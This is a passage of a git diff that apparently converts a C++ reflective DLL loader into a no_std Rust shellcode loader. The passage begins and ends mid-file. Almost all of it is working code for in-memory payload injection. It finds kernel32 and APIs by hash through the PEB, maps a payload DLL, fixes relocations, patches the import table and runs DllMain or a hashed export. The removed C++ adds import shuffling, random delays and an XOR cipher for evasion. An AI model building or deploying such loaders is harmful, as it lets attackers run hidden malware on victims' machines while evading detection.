reinterpret_cast(__readfsdword(0x30)); -#endif - - auto pLdr = reinterpret_cast(pPEB->Ldr); - auto pEntry = reinterpret_cast(pLdr->InLoadOrderModuleList.Flink); - - while (pEntry->DllBase != NULL) { - if (CalculateHash(pEntry->BaseDllName) == dwHash && pEntry->DllBase != nullptr) { - return reinterpret_cast(pEntry->DllBase); - } - - pEntry = reinterpret_cast(pEntry->InLoadOrderLinks.Flink); - } - - return nullptr; -} - -HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 *eng) { - auto pNtHeaders = GetNtHeaders(pbModule); - - if (pNtHeaders == nullptr) { - return nullptr; - } - - auto *pExportDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - auto *pExport = reinterpret_cast(pbModule + pExportDir->VirtualAddress); - - /* - 1.) Read the export data (dwNameRva's) - 2.) Shuffle the order of the collected export name RVA's - 3.) Find the correct export by calculating hashes of the function names - */ - - DWORD dwNameRva; - std::vector> vNameRvas; - - for (DWORD i = 0; i < pExport->NumberOfNames; i++) { - dwNameRva = (reinterpret_cast(pbModule + pExport->AddressOfNames))[i]; - vNameRvas.push_back(std::make_tuple(dwNameRva, i)); - } - - std::shuffle(vNameRvas.begin(), vNameRvas.end(), *eng); - - DWORD dwNameHash, dwFunctionRva; - UNICODE_STRING *strFunctionNameBase; - WORD wOrdinal; - - for (auto dwNRva : vNameRvas) { - strFunctionNameBase = reinterpret_cast(pbModule + std::get<0>(dwNRva)); - dwNameHash = CalculateHash(*strFunctionNameBase); - - if (dwNameHash == dwHash) { - wOrdinal = (reinterpret_cast(pbModule + pExport->AddressOfNameOrdinals))[std::get<1>(dwNRva)]; - dwFunctionRva = (reinterpret_cast(pbModule + pExport->AddressOfFunctions))[wOrdinal]; - - return reinterpret_cast(pbModule + dwFunctionRva); - } - } - - return nullptr; -} - -PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage) { - auto pDosHeader = reinterpret_cast(pbImage); - - if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { - return nullptr; - } - - auto pNtHeaders = reinterpret_cast(pbImage + pDosHeader->e_lfanew); - - if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { - return nullptr; - } - - return pNtHeaders; -} diff --git a/reflective_loader/loader.hpp b/reflective_loader/loader.hpp deleted file mode 100644 index 2e55618..0000000 --- a/reflective_loader/loader.hpp +++ /dev/null @@ -1,71 +0,0 @@ -#pragma once - -#include -#include - -#include -#include - -constexpr auto MAX_IMPORT_DELAY_MS = 6 * 1000; -constexpr auto OBFUSCATE_IMPORTS = 1; - -constexpr DWORD KERNEL32_DLL_HASH = 0x6DDB9555; -constexpr DWORD LOAD_LIBRARY_W_HASH = 0xB7072FF1; -constexpr DWORD GET_PROC_ADDRESS_HASH = 0xDECFC1BF; -constexpr DWORD VIRTUAL_ALLOC_HASH = 0x097BC257; -constexpr DWORD FLUSH_INSTRUCTION_CACHE_HASH = 0xEFB7BF9D; -constexpr DWORD VIRTUAL_PROTECT_HASH = 0xE857500D; -constexpr DWORD SLEEP_HASH = 0x0E07CD7E; - -// Function pointer typedefs from MSDN -using LOAD_LIBRARY_W = HMODULE(WINAPI *)(LPCWSTR); -using GET_PROC_ADDRESS = ULONG_PTR(WINAPI *)(HMODULE, LPCSTR); -using VIRTUAL_ALLOC = LPVOID(WINAPI *)(LPVOID, SIZE_T, DWORD, DWORD); -using FLUSH_INSTRUCTION_CACHE = BOOL(WINAPI *)(HANDLE, LPCVOID, SIZE_T); -using VIRTUAL_PROTECT = BOOL(WINAPI *)(LPVOID, SIZE_T, DWORD, PDWORD); -using SLEEP = VOID(WINAPI *)(DWORD); - -// Payload function pointer typedefs -using DLL_MAIN = BOOL(WINAPI *)(HMODULE, DWORD, LPVOID); -using USER_FUNCTION = BOOL(WINAPI *)(LPVOID, DWORD); - -// Complete WinAPI PEB structs -struct _MY_PEB_LDR_DATA { - ULONG Length; - BOOL Initialized; - PVOID SsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; -}; -using MY_PEB_LDR_DATA = _MY_PEB_LDR_DATA; -using PMY_PEB_LDR_DATA = _MY_PEB_LDR_DATA *; - -struct _MY_LDR_DATA_TABLE_ENTRY { - LIST_ENTRY InLoadOrderLinks; - LIST_ENTRY InMemoryOrderLinks; - LIST_ENTRY InInitializationOrderLinks; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STRING FullDllName; - UNICODE_STRING BaseDllName; -}; -using MY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY; -using PMY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY *; - -struct _IMAGE_RELOC { - WORD offset : 12; - WORD type : 4; -}; -using IMAGE_RELOC = _IMAGE_RELOC; -using PIMAGE_RELOC = _IMAGE_RELOC *; - -PBYTE GetModuleAddressFromHash(DWORD dwHash); -HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 *eng); -PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage); - -void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders); -BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta); -BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 *eng); -void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache); diff --git a/reflective_loader/src/lib.rs b/reflective_loader/src/lib.rs new file mode 100644 index 0000000..a5cebed --- /dev/null +++ b/reflective_loader/src/lib.rs @@ -0,0 +1,593 @@ +#![no_std] + +mod memory; + +use core::{ + arch::asm, + ffi::c_void, + mem::{size_of, transmute}, + ptr::null_mut, + slice::from_raw_parts, +}; + +use windows_sys::{ + core::PWSTR, + Win32::{ + Foundation::{BOOL, HMODULE}, + System::{ + Diagnostics::Debug::{ + IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_BASERELOC, + IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_DIRECTORY_ENTRY_IMPORT, IMAGE_NT_HEADERS64, + IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE, + IMAGE_SECTION_HEADER, + }, + Memory::{ + MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, + PAGE_EXECUTE_WRITECOPY, PAGE_NOACCESS, PAGE_READONLY, PAGE_READWRITE, + PAGE_WRITECOPY, + }, + SystemServices::{ + DLL_PROCESS_ATTACH, IMAGE_BASE_RELOCATION, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, + IMAGE_EXPORT_DIRECTORY, IMAGE_IMPORT_BY_NAME, IMAGE_IMPORT_DESCRIPTOR, + IMAGE_NT_SIGNATURE, IMAGE_ORDINAL_FLAG64, IMAGE_REL_BASED_DIR64, + IMAGE_REL_BASED_HIGHLOW, + }, + Threading::{PEB, TEB}, + WindowsProgramming::IMAGE_THUNK_DATA64, + }, + }, +}; + +use crate::memory::*; + +// must be edited based on the number of imports in the IDT of the payload +// const IMPORT_COUNT: usize = 100; +// const MAX_IMPORT_DELAY_MS: u32 = 5000; + +#[cfg(not(test))] +#[panic_handler] +fn panic(_info: &core::panic::PanicInfo) -> ! { + loop {} +} + +// TODO: check if i8 types can be replaced with u8 types (especially in pointers) + +// TODO: remove _fltused and _DllMainCRTStartup (and uncomment DllMain) if deemed unnecessary after testing + +#[export_name = "_fltused"] +static _FLTUSED: i32 = 0; + +#[no_mangle] +#[allow(non_snake_case)] +pub unsafe extern "system" fn _DllMainCRTStartup( + _module: HMODULE, + _call_reason: u32, + _reserved: *mut c_void, +) -> BOOL { + 1 +} + +//#[no_mangle] +//#[allow(non_snake_case)] +//pub unsafe extern "system" fn DllMain(_module: HMODULE, _reason: u32, _reserved: *mut u8) -> BOOL { +// 1 +//} + +#[link_section = ".text"] +#[no_mangle] +pub unsafe extern "system" fn loader( + payload_dll: *mut c_void, + function_hash: u32, + user_data: *mut c_void, + user_data_len: u32, + _shellcode_bin: *mut c_void, + flags: u32, +) { + /* + 1.) locate the required functions and modules from exports with their hashed names + */ + + let kernel32_base_ptr = get_module_ptr(KERNEL32_DLL).unwrap(); + let _ntdll_base_ptr = get_module_ptr(NTDLL_DLL).unwrap(); + + if kernel32_base_ptr.is_null() || _ntdll_base_ptr.is_null() { + return; + } + + let far_procs = get_export_ptrs(kernel32_base_ptr).unwrap(); + + /* + 2.) load the target image to a newly allocated permanent memory location with RW permissions + */ + + let module_base_ptr = payload_dll as *mut u8; + + if module_base_ptr.is_null() { + return; + } + + let module_dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER; + let module_nt_headers_ptr = (module_base_ptr as usize + + (*module_dos_header_ptr).e_lfanew as usize) + as *mut IMAGE_NT_HEADERS64; + let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize; + let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void; + let base_addr_ptr = allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs); + + if base_addr_ptr.is_null() { + return; + } + + copy_pe(base_addr_ptr, module_base_ptr, module_nt_headers_ptr); + + /* + 3.) process the image relocations (assumes the image couldn't be loaded to the preferred base address) + */ + + let data_dir_slice = (*module_nt_headers_ptr).OptionalHeader.DataDirectory; + let relocation_ptr: *mut IMAGE_BASE_RELOCATION = rva_mut( + base_addr_ptr as _, + data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].VirtualAddress as usize, + ); + + if relocation_ptr.is_null() { + return; + } + + process_relocations( + base_addr_ptr, + module_nt_headers_ptr, + relocation_ptr, + &data_dir_slice, + ); + + /* + 4.) resolve the imports by patching the Import Address Table (IAT) + */ + + let import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR = rva_mut( + base_addr_ptr as _, + data_dir_slice[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress as usize, + ); + + if import_descriptor_ptr.is_null() { + return; + } + + patch_iat(base_addr_ptr, import_descriptor_ptr, &far_procs); + + /* + 5.) finalize the sections by setting protective permissions after mapping the image + */ + + finalize_relocations(base_addr_ptr, module_nt_headers_ptr, &far_procs); + + /* + 6.) execute DllMain or user defined function depending on the flag passed into the shellcode by the generator + */ + + if flags == 0 { + let dll_main_addr = base_addr_ptr as usize + + (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize; + + #[allow(non_snake_case)] + let DllMain = transmute::<_, DllMain>(dll_main_addr); + + DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _); + } else { + // UserFunction address = base address + RVA of user function + let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap(); + + #[allow(non_snake_case)] + let UserFunction = transmute::<_, UserFunction>(user_fn_addr); + + // execution with user data passed into the shellcode by the generator + UserFunction(user_data, user_data_len); + } +} + +unsafe fn get_export_ptrs(kernel32_base_ptr: *mut u8) -> Option { + let loadlib_addr = get_export_addr(kernel32_base_ptr, LOAD_LIBRARY_A).unwrap(); + let getproc_addr = get_export_addr(kernel32_base_ptr, GET_PROC_ADDRESS).unwrap(); + let virtualalloc_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_ALLOC).unwrap(); + let virtualprotect_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_PROTECT).unwrap(); + let flushcache_addr = get_export_addr(kernel32_base_ptr, FLUSH_INSTRUCTION_CACHE).unwrap(); + let sleep_addr = get_export_addr(kernel32_base_ptr, SLEEP).unwrap(); + + if loadlib_addr == 0 + || getproc_addr == 0 + || virtualalloc_addr == 0 + || virtualprotect_addr == 0 + || flushcache_addr == 0 + { + return None; + } + + #[allow(non_snake_case)] + let LoadLibraryA: LoadLibraryA = transmute(loadlib_addr); + + #[allow(non_snake_case)] + let GetProcAddress: GetProcAddress = transmute(getproc_addr); + + #[allow(non_snake_case)] + let VirtualAlloc: VirtualAlloc = transmute(virtualalloc_addr); + + #[allow(non_snake_case)] + let VirtualProtect: VirtualProtect = transmute(virtualprotect_addr); + + #[allow(non_snake_case)] + let FlushInstructionCache: FlushInstructionCache = transmute(flushcache_addr); + + #[allow(non_snake_case)] + let Sleep: Sleep = transmute(sleep_addr); + + Some(FarProcs { + LoadLibraryA, + GetProcAddress, + VirtualAlloc, + VirtualProtect, + FlushInstructionCache, + Sleep, + }) +} + +#[link_section = ".text"] +unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> { + // first entry in the InMemoryOrderModuleList -> PEB, PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY + // InLoadOrderModuleList grants direct access to the base address without using CONTAINING_RECORD macro + let peb_ptr = get_peb_ptr(); + let peb_ldr_ptr = (*peb_ptr).Ldr as *mut PEB_LDR_DATA; + let mut table_entry_ptr = + (*peb_ldr_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY; + + while !(*table_entry_ptr).DllBase.is_null() { + let name_buf_ptr = (*table_entry_ptr).BaseDllName.Buffer; + let name_len = (*table_entry_ptr).BaseDllName.Length as usize; + let name_slice_buf = from_raw_parts(transmute::(name_buf_ptr), name_len); + + // calculate the module hash and compare it + if module_hash == airborne_utils::calc_hash(name_slice_buf) { + return Some((*table_entry_ptr).DllBase as _); + } + + table_entry_ptr = (*table_entry_ptr).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + None +} + +#[link_section = ".text"] +unsafe fn get_nt_headers_ptr(module_base_ptr: *mut u8) -> Option<*mut IMAGE_NT_HEADERS64> { + let dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER; + + if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE { + return None; + } + + let nt_headers_ptr = + (module_base_ptr as usize + (*dos_header_ptr).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + if (*nt_headers_ptr).Signature != IMAGE_NT_SIGNATURE { + return None; + } + + Some(nt_headers_ptr) +} + +#[link_section = ".text"] +unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Option { + // NT Headers -> RVA of Export Directory Table -> function names, ordinals, and addresses + let nt_headers_ptr = get_nt_headers_ptr(module_base_ptr).unwrap(); + let export_dir_ptr = (module_base_ptr as usize + + (*nt_headers_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] + .VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY; + + let names = from_raw_parts( + (module_base_ptr as usize + (*export_dir_ptr).AddressOfNames as usize) as *const u32, + (*export_dir_ptr).NumberOfNames as _, + ); + let funcs = from_raw_parts( + (module_base_ptr as usize + (*export_dir_ptr).AddressOfFunctions as usize) as *const u32, + (*export_dir_ptr).NumberOfFunctions as _, + ); + let ords = from_raw_parts( + (module_base_ptr as usize + (*export_dir_ptr).AddressOfNameOrdinals as usize) as *const u16, + (*export_dir_ptr).NumberOfNames as _, + ); + + // compare hashes iteratively for each entry + for i in 0..(*export_dir_ptr).NumberOfNames { + let name_ptr = (module_base_ptr as usize + names[i as usize] as usize) as *const i8; + let name_len = get_cstr_len(name_ptr as _); + let name_slice = from_raw_parts(name_ptr as _, name_len); + + if function_hash == airborne_utils::calc_hash(name_slice) { + return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize); + } + } + + None +} + +#[link_section = ".text"] +unsafe fn allocate_rw_memory( + preferred_base_ptr: *mut c_void, + alloc_size: usize, + far_procs: &FarProcs, +) -> *mut c_void { + let mut base_addr_ptr = (far_procs.VirtualAlloc)( + preferred_base_ptr, + alloc_size, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + ); + + // fallback: attempt to allocate at any address if preferred address is unavailable + if base_addr_ptr.is_null() { + base_addr_ptr = (far_procs.VirtualAlloc)( + null_mut(), + alloc_size, + MEM_RESERVE | MEM_COMMIT, + PAGE_READWRITE, + ); + } + + base_addr_ptr +} + +#[link_section = ".text"] +unsafe fn copy_pe( + new_base_ptr: *mut c_void, + old_base_ptr: *mut u8, + nt_headers_ptr: *mut IMAGE_NT_HEADERS64, +) { + let section_header_ptr = (&(*nt_headers_ptr).OptionalHeader as *const _ as usize + + (*nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize) + as *mut IMAGE_SECTION_HEADER; + + // PE sections one by one + for i in 0..(*nt_headers_ptr).FileHeader.NumberOfSections { + let header_i_ref = &*(section_header_ptr.add(i as usize)); + + let dst_ptr = new_base_ptr + .cast::() + .add(header_i_ref.VirtualAddress as usize); + let src_ptr = (old_base_ptr as usize + header_i_ref.PointerToRawData as usize) as *const u8; + let raw_size = header_i_ref.SizeOfRawData as usize; + + let src_data_slice = from_raw_parts(src_ptr, raw_size); + + (0..raw_size).for_each(|x| { + let src = src_data_slice[x]; + let dst = dst_ptr.add(x); + *dst = src; + }); + } + + // PE headers + for i in 0..(*nt_headers_ptr).OptionalHeader.SizeOfHeaders { + let dst = new_base_ptr as *mut u8; + let src = old_base_ptr as *const u8; + + *dst.add(i as usize) = *src.add(i as usize); + } +} + +#[link_section = ".text"] +unsafe fn process_relocations( + base_addr_ptr: *mut c_void, + nt_headers_ptr: *mut IMAGE_NT_HEADERS64, + mut relocation_ptr: *mut IMAGE_BASE_RELOCATION, + data_dir_slice: &[IMAGE_DATA_DIRECTORY; 16], +) { + let delta = base_addr_ptr as isize - (*nt_headers_ptr).OptionalHeader.ImageBase as isize; + + // upper bound prevents accessing memory past the end of the relocation data + let relocation_end = relocation_ptr as usize + + data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size as usize; + + while (*relocation_ptr).VirtualAddress != 0 + && ((*relocation_ptr).VirtualAddress as usize) <= relocation_end + && (*relocation_ptr).SizeOfBlock != 0 + { + // relocation address, first entry, and number of entries in the whole block + let addr = rva::( + base_addr_ptr as _, + (*relocation_ptr).VirtualAddress as usize, + ) as isize; + let item = rva::(relocation_ptr as _, size_of::()); + let count = ((*relocation_ptr).SizeOfBlock as usize - size_of::()) + / size_of::(); + + for i in 0..count { + // high bits -> type, low bits -> offset + let type_field = (item.add(i).read() >> 12) as u32; + let offset = item.add(i).read() & 0xFFF; + + match type_field { + IMAGE_REL_BASED_DIR64 | IMAGE_REL_BASED_HIGHLOW => { + *((addr + offset as isize) as *mut isize) += delta; + } + _ => {} + } + } + + relocation_ptr = rva_mut(relocation_ptr as _, (*relocation_ptr).SizeOfBlock as usize); + } +} + +#[link_section = ".text"] +unsafe fn patch_iat( + base_addr_ptr: *mut c_void, + mut import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR, + far_procs: &FarProcs, +) { + /* + 1.) shuffle Import Directory Table entries (image import descriptors) + 2.) delay the relocation of each import a semirandom duration + 3.) conditional execution based on ordinal/name + 4.) indirect function call via pointer + */ + + // TODO: obfuscate the import handling (convert C++ obfuscation to Rust, preferably no_std) + + while (*import_descriptor_ptr).Name != 0x0 { + let module_name_ptr = rva::(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize); + + if module_name_ptr.is_null() { + return; + } + + let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _); + + if module_handle == 0 { + return; + } + + // RVA of the IAT via either OriginalFirstThunk or FirstThunk + let mut original_thunk_ptr: *mut IMAGE_THUNK_DATA64 = if (base_addr_ptr as usize + + (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize) + != 0 + { + rva_mut( + base_addr_ptr as _, + (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize, + ) + } else { + rva_mut( + base_addr_ptr as _, + (*import_descriptor_ptr).FirstThunk as usize, + ) + }; + + let mut thunk_ptr: *mut IMAGE_THUNK_DATA64 = rva_mut( + base_addr_ptr as _, + (*import_descriptor_ptr).FirstThunk as usize, + ); + + while (*original_thunk_ptr).u1.Function != 0 { + let is_snap_res = (*original_thunk_ptr).u1.Ordinal & IMAGE_ORDINAL_FLAG64 != 0; + + // check if the import is by name or by ordinal + if is_snap_res { + // mask out the high bits to get the ordinal value and patch the address of the function + let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8; + (*thunk_ptr).u1.Function = + (far_procs.GetProcAddress)(module_handle, fn_ord_ptr).unwrap() as _; + } else { + // get the function name from the thunk and patch the address of the function + let thunk_data_ptr = (base_addr_ptr as usize + + (*original_thunk_ptr).u1.AddressOfData as usize) + as *mut IMAGE_IMPORT_BY_NAME; + let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr(); + (*thunk_ptr).u1.Function = + (far_procs.GetProcAddress)(module_handle, fn_name_ptr).unwrap() as _; + } + + thunk_ptr = thunk_ptr.add(1); + original_thunk_ptr = original_thunk_ptr.add(1); + } + + import_descriptor_ptr = + (import_descriptor_ptr as usize + size_of::()) as _; + } +} + +#[link_section = ".text"] +unsafe fn finalize_relocations( + base_addr_ptr: *mut c_void, + module_nt_headers_ptr: *mut IMAGE_NT_HEADERS64, + far_procs: &FarProcs, +) { + // RVA of the first IMAGE_SECTION_HEADER in the PE file + let section_header_ptr = rva_mut::( + &(*module_nt_headers_ptr).OptionalHeader as *const _ as _, + (*module_nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize, + ); + + for i in 0..(*module_nt_headers_ptr).FileHeader.NumberOfSections { + let mut protection = 0; + let mut old_protection = 0; + + let section_header_ptr = &*(section_header_ptr).add(i as usize); + let dst_ptr = base_addr_ptr + .cast::() + .add(section_header_ptr.VirtualAddress as usize); + let section_raw_size = section_header_ptr.SizeOfRawData as usize; + + let is_executable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0; + let is_readable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_READ != 0; + let is_writable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_WRITE != 0; + + if !is_executable && !is_readable && !is_writable { + protection = PAGE_NOACCESS; + } + + if is_writable { + protection = PAGE_WRITECOPY; + } + + if is_readable { + protection = PAGE_READONLY; + } + + if is_writable && is_readable { + protection = PAGE_READWRITE; + } + + if is_executable { + protection = PAGE_EXECUTE; + } + + if is_executable && is_writable { + protection = PAGE_EXECUTE_WRITECOPY; + } + + if is_executable && is_readable { + protection = PAGE_EXECUTE_READ; + } + + if is_executable && is_writable && is_readable { + protection = PAGE_EXECUTE_READWRITE; + } + + // apply the new protection to the current section + (far_procs.VirtualProtect)( + dst_ptr as _, + section_raw_size, + protection, + &mut old_protection, + ); + } + + // flush the instruction cache to ensure the CPU sees the changes made to the memory + (far_procs.FlushInstructionCache)(-1, null_mut(), 0); +} + +#[link_section = ".text"] +unsafe fn get_peb_ptr() -> *mut PEB { + // TEB located at offset 0x30 from the GS register on 64-bit + let teb: *mut TEB; + asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb); + + (*teb).ProcessEnvironmentBlock as *mut PEB +} + +#[link_section = ".text"] +unsafe fn get_cstr_len(str_ptr: *const char) -> usize { + let mut tmp: u64 = str_ptr as u64; + + while *(tmp as *const u8) != 0 { + tmp += 1; + } + + (tmp - str_ptr as u64) as _ +} + +fn rva_mut(base_ptr: *mut u8, offset: usize) -> *mut T { + (base_ptr as usize + offset) as *mut T +} + +fn rva(base_ptr: *mut u8, offset: usize) -> *const T { + (base_ptr as usize + offset) as *const T +} diff --git a/reflective_loader/src/memory.rs b/reflective_loader/src/memory.rs new file mode 100644 index 0000000..96687ef --- /dev/null +++ b/reflective_loader/src/memory.rs @@ -0,0 +1,126 @@ +use core::ffi::c_void; + +use windows_sys::{ + core::PCSTR, + Win32::{ + Foundation::{BOOL, BOOLEAN, FARPROC, HANDLE, HMODULE, UNICODE_STRING}, + System::{ + Kernel::LIST_ENTRY, + Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE}, + }, + }, +}; + +#[allow(non_snake_case)] +pub static KERNEL32_DLL: u32 = 0x6DDB9555; + +#[allow(non_snake_case)] +pub static NTDLL_DLL: u32 = 0x1EDAB0ED; + +#[allow(non_snake_case)] +pub static LOAD_LIBRARY_A: u32 = 0xB7072FDB; + +#[allow(non_snake_case)] +pub static GET_PROC_ADDRESS: u32 = 0xDECFC1BF; + +#[allow(non_snake_case)] +pub static VIRTUAL_ALLOC: u32 = 0x97BC257; + +#[allow(non_snake_case)] +pub static FLUSH_INSTRUCTION_CACHE: u32 = 0xEFB7BF9D; + +#[allow(non_snake_case)] +pub static VIRTUAL_PROTECT: u32 = 0xE857500D; + +#[allow(non_snake_case)] +pub static SLEEP: u32 = 0xE07CD7E; + +#[allow(non_camel_case_types)] +pub type LoadLibraryA = unsafe extern "system" fn(lpLibFileName: PCSTR) -> HMODULE; + +#[allow(non_camel_case_types)] +pub type GetProcAddress = unsafe extern "system" fn(hModule: HMODULE, lpProcName: PCSTR) -> FARPROC; + +#[allow(non_camel_case_types)] +pub type VirtualAlloc = unsafe extern "system" fn( + lpAddress: *const c_void, + dwSize: usize, + flAllocationType: VIRTUAL_ALLOCATION_TYPE, + flProtect: PAGE_PROTECTION_FLAGS, +) -> *mut c_void; + +#[allow(non_camel_case_types)] +pub type VirtualProtect = unsafe extern "system" fn( + lpAddress: *const c_void, + dwSize: usize, + flNewProtect: PAGE_PROTECTION_FLAGS, + lpflOldProtect: *mut PAGE_PROTECTION_FLAGS, +) -> BOOL; + +#[allow(non_camel_case_types)] +pub type FlushInstructionCache = unsafe extern "system" fn( + hProcess: HANDLE, + BaseAddress: *const c_void, + NumberOfBytesToFlush: usize, +) -> BOOL; + +#[allow(non_camel_case_types)] +pub type Sleep = unsafe extern "system" fn(dwMilliseconds: u32); + +#[allow(non_camel_case_types)] +pub type DllMain = + unsafe extern "system" fn(module: HMODULE, call_reason: u32, reserved: *mut c_void) -> BOOL; + +#[allow(non_camel_case_types)] +pub type UserFunction = + unsafe extern "system" fn(user_data: *mut c_void, user_data_len: u32) -> BOOL; + +#[repr(C)] +#[allow(non_snake_case)] +pub struct FarProcs { + pub LoadLibraryA: LoadLibraryA, + pub GetProcAddress: GetProcAddress, + pub VirtualAlloc: VirtualAlloc, + pub VirtualProtect: VirtualProtect, + pub FlushInstructionCache: FlushInstructionCache, + pub Sleep: Sleep, +} + +#[allow(non_camel_case_types)] +pub type PLDR_INIT_ROUTINE = Option< + unsafe extern "system" fn(DllHandle: *mut c_void, Reason: u32, Context: *mut c_void) -> BOOLEAN, +>; + +#[repr(C)] +#[allow(non_snake_case, non_camel_case_types)] +pub struct PEB_LDR_DATA { + pub Length: u32, + pub Initialized: BOOLEAN, + pub SsHandle: HANDLE, + pub InLoadOrderModuleList: LIST_ENTRY, + pub InMemoryOrderModuleList: LIST_ENTRY, + pub InInitializationOrderModuleList: LIST_ENTRY, + pub EntryInProgress: *mut c_void, + pub ShutdownInProgress: BOOLEAN, + pub ShutdownThreadId: HANDLE, +} + +#[repr(C)] +#[allow(non_snake_case)] +pub union LDR_DATA_TABLE_ENTRY_u1 { + pub InInitializationOrderLinks: LIST_ENTRY, + pub InProgressLinks: LIST_ENTRY, +} + +#[repr(C)] +#[allow(non_snake_case, non_camel_case_types)] +pub struct LDR_DATA_TABLE_ENTRY { + pub InLoadOrderLinks: LIST_ENTRY, + pub InMemoryOrderLinks: LIST_ENTRY, + pub u1: LDR_DATA_TABLE_ENTRY_u1, + pub DllBase: *mut c_void, + pub EntryPoint: PLDR_INIT_ROUTINE, + pub SizeOfImage: u32, + pub FullDllName: UNICODE_STRING, + pub BaseDllName: UNICODE_STRING, +} diff --git a/shared/crypto.cpp b/shared/crypto.cpp deleted file mode 100644 index 00c9659..0000000 --- a/shared/crypto.cpp +++ /dev/null @@ -1,63 +0,0 @@ -#include "crypto.hpp" - -std::vector GenerateKey(size_t keysize) { - std::vector key(keysize, 0); - std::random_device rd; - std::mt19937 gen(rd()); - std::uniform_int_distribution<> dis(0, 255); - - for (size_t i = 0; i < key.size(); ++i) { - key[i] = static_cast(dis(gen)); - } - - return key; -} - -void XorCipher(std::vector *data, const std::vector &key) { - for (size_t i = 0; i < data->size(); i++) { - (*data)[i] = (*data)[i] ^ key[i % key.size()]; - } -} - -DWORD CalculateHash(const std::string &source) { - auto dwHash = HASH_KEY; - - for (char ch : source) { - if (ch == '\0') { - continue; - } - - if (ch >= 'a' && ch <= 'z') { - ch -= 0x20; - } - - // Casting might be unnecessary - dwHash = ((dwHash << 5) + dwHash) + static_cast(ch); - } - - return dwHash; -} - -DWORD CalculateHash(const UNICODE_STRING &baseDllName) { - auto pwszBaseDllName = baseDllName.Buffer; - auto dwHash = HASH_KEY; - - char ch; - - for (auto i = 0; i < baseDllName.MaximumLength; i++) { - ch = pwszBaseDllName[i]; - - if (ch == '\0') { - continue; - } - - if (ch >= 'a' && ch <= 'z') { - ch -= 0x20; - } - - // Casting might be unnecessary - dwHash = ((dwHash << 5) + dwHash) + static_cast(ch); - } - - return dwHash; -} diff --git a/shared/crypto.hpp b/shared/crypto.hpp deleted file mode 100644 index 5449250..0000000 --- a/shared/crypto.hpp +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include -#include - -#include -#include -#include - -constexpr auto HASH_KEY = 5381; - -std::vector 